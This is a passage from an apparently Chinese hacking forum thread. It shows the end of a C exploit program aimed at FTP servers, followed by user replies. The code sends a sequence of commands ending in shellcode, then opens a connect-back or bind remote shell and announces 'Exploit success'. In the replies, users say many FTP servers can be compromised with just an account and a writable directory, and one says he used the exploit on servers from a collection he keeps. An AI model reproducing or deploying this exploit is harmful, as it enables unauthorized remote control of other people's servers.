433.                                 listen(s2, 1);
     
434.                         }
     
435.                 }
     
436.                
     
437.                 for(i=0;i<sizeof(szSend)/sizeof(szSend[0]);i++)
     
438.                 {
     
439.                         memset(szRecvBuff, 0, sizeof(szRecvBuff));
     
440.                         iErr = recv(s, szRecvBuff, sizeof(szRecvBuff), 0);
     
441.                         if(iErr == SOCKET_ERROR)
     
442.                         {
     
443.                                 printf("[-] Recv buffer error:%d.\n", WSAGetLastError());
     
444.                                 __leave;
     
445.                         }
     
446.                         printf("[+] Recv: %s", szRecvBuff);
     
447.                        
     
448.                         if(szRecvBuff[0] == '5')
     
449.                         {
     
450.                                 printf("[-] Server return a error Message.\r\n");
     
451.                                 __leave;
     
452.                         }
     
453. 
     
454.                         iErr = send(s, szSend[i], strlen(szSend[i]),0);
     
455.                         if(iErr == SOCKET_ERROR)
     
456.                         {
     
457.                                 printf("[-] Send buffer error:%d.\n", WSAGetLastError());
     
458.                                 __leave;
     
459.                         }
     
460. 
     
461.                         if(i==sizeof(szSend)/sizeof(szSend[0])-1)
     
462.                                 printf("[+] Send shellcode %d bytes.\n", iErr);
     
463.                         else
     
464.                                 printf("[+] Send: %s", szSend[i]);
     
465.                 }
     
466. 
     
467.                 printf("[+] If you don't have a shell it didn't work.\n");
     
468. 
     
469.                 if(bCb)
     
470.                 {
     
471.                         if(bLocal)
     
472.                         {
     
473.                                 printf("[+] Wait for shell...\n");
     
474.                        
     
475.                                 len = sizeof(client);
     
476.                                 s3 = accept(s2, (struct sockaddr*)&client, &len);
     
477.                                 if(s3 != INVALID_SOCKET)
     
478.                                 {
     
479.                                         printf("[+] Exploit success! Good luck! :)\n");
     
480.                                         printf("[+] ===--===--===--===--===--===--===--===--===--===--===--===--===--===\n");
     
481.                                         shell(s3);
     
482.                                 }
     
483.                         }       
     
484.                 }
     
485.                 else
     
486.                 {
     
487.                         printf("[+] Connect to shell...\n");
     
488.                        
     
489.                         Sleep(1000);
     
490.                         s2 = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
     
491.                         server.sin_family = AF_INET;
     
492.                         server.sin_port = htons(shport);
     
493.                         server.sin_addr.s_addr=inet_addr(ip);
     
494. 
     
495.                         ret = connect(s2, (struct sockaddr *)&server, sizeof(server));
     
496.                         if(ret!=0)
     
497.                         {
     
498.                                 printf("[-] Exploit seem failed.\n");
     
499.                                 __leave;
     
500.                         }
     
501.                        
     
502.                         printf("[+] Exploit success! Good luck! :)\n");
     
503.                         printf("[+] ===--===--===--===--===--===--===--===--===--===--===--===--===--===\n");
     
504.                         shell(s2);
     
505.                 }
     
506.                
     
507.                
     
508.         }
     
509. 
     
510.         __finally
     
511.         {
     
512.                 if(s != INVALID_SOCKET) closesocket(s);
     
513.                 if(s2 != INVALID_SOCKET) closesocket(s2);
     
514.                 if(s3 != INVALID_SOCKET) closesocket(s3);
     
515.                 WSACleanup();
     
516.         }
     
517. 
     
518.         return;
     
519. }
     

复制代码

孤独的鹰

很多地方还是老版本啊

包子

呵呵
多的是，不过需要一个帐号和一个可写目录

很多FTP都可以被干掉的……

Snoopy

呵呵，前阵子绿盟发了，不知道如何使用

孤独的鹰

绝对好用 我随便从收集的FTP里选出个就搞定了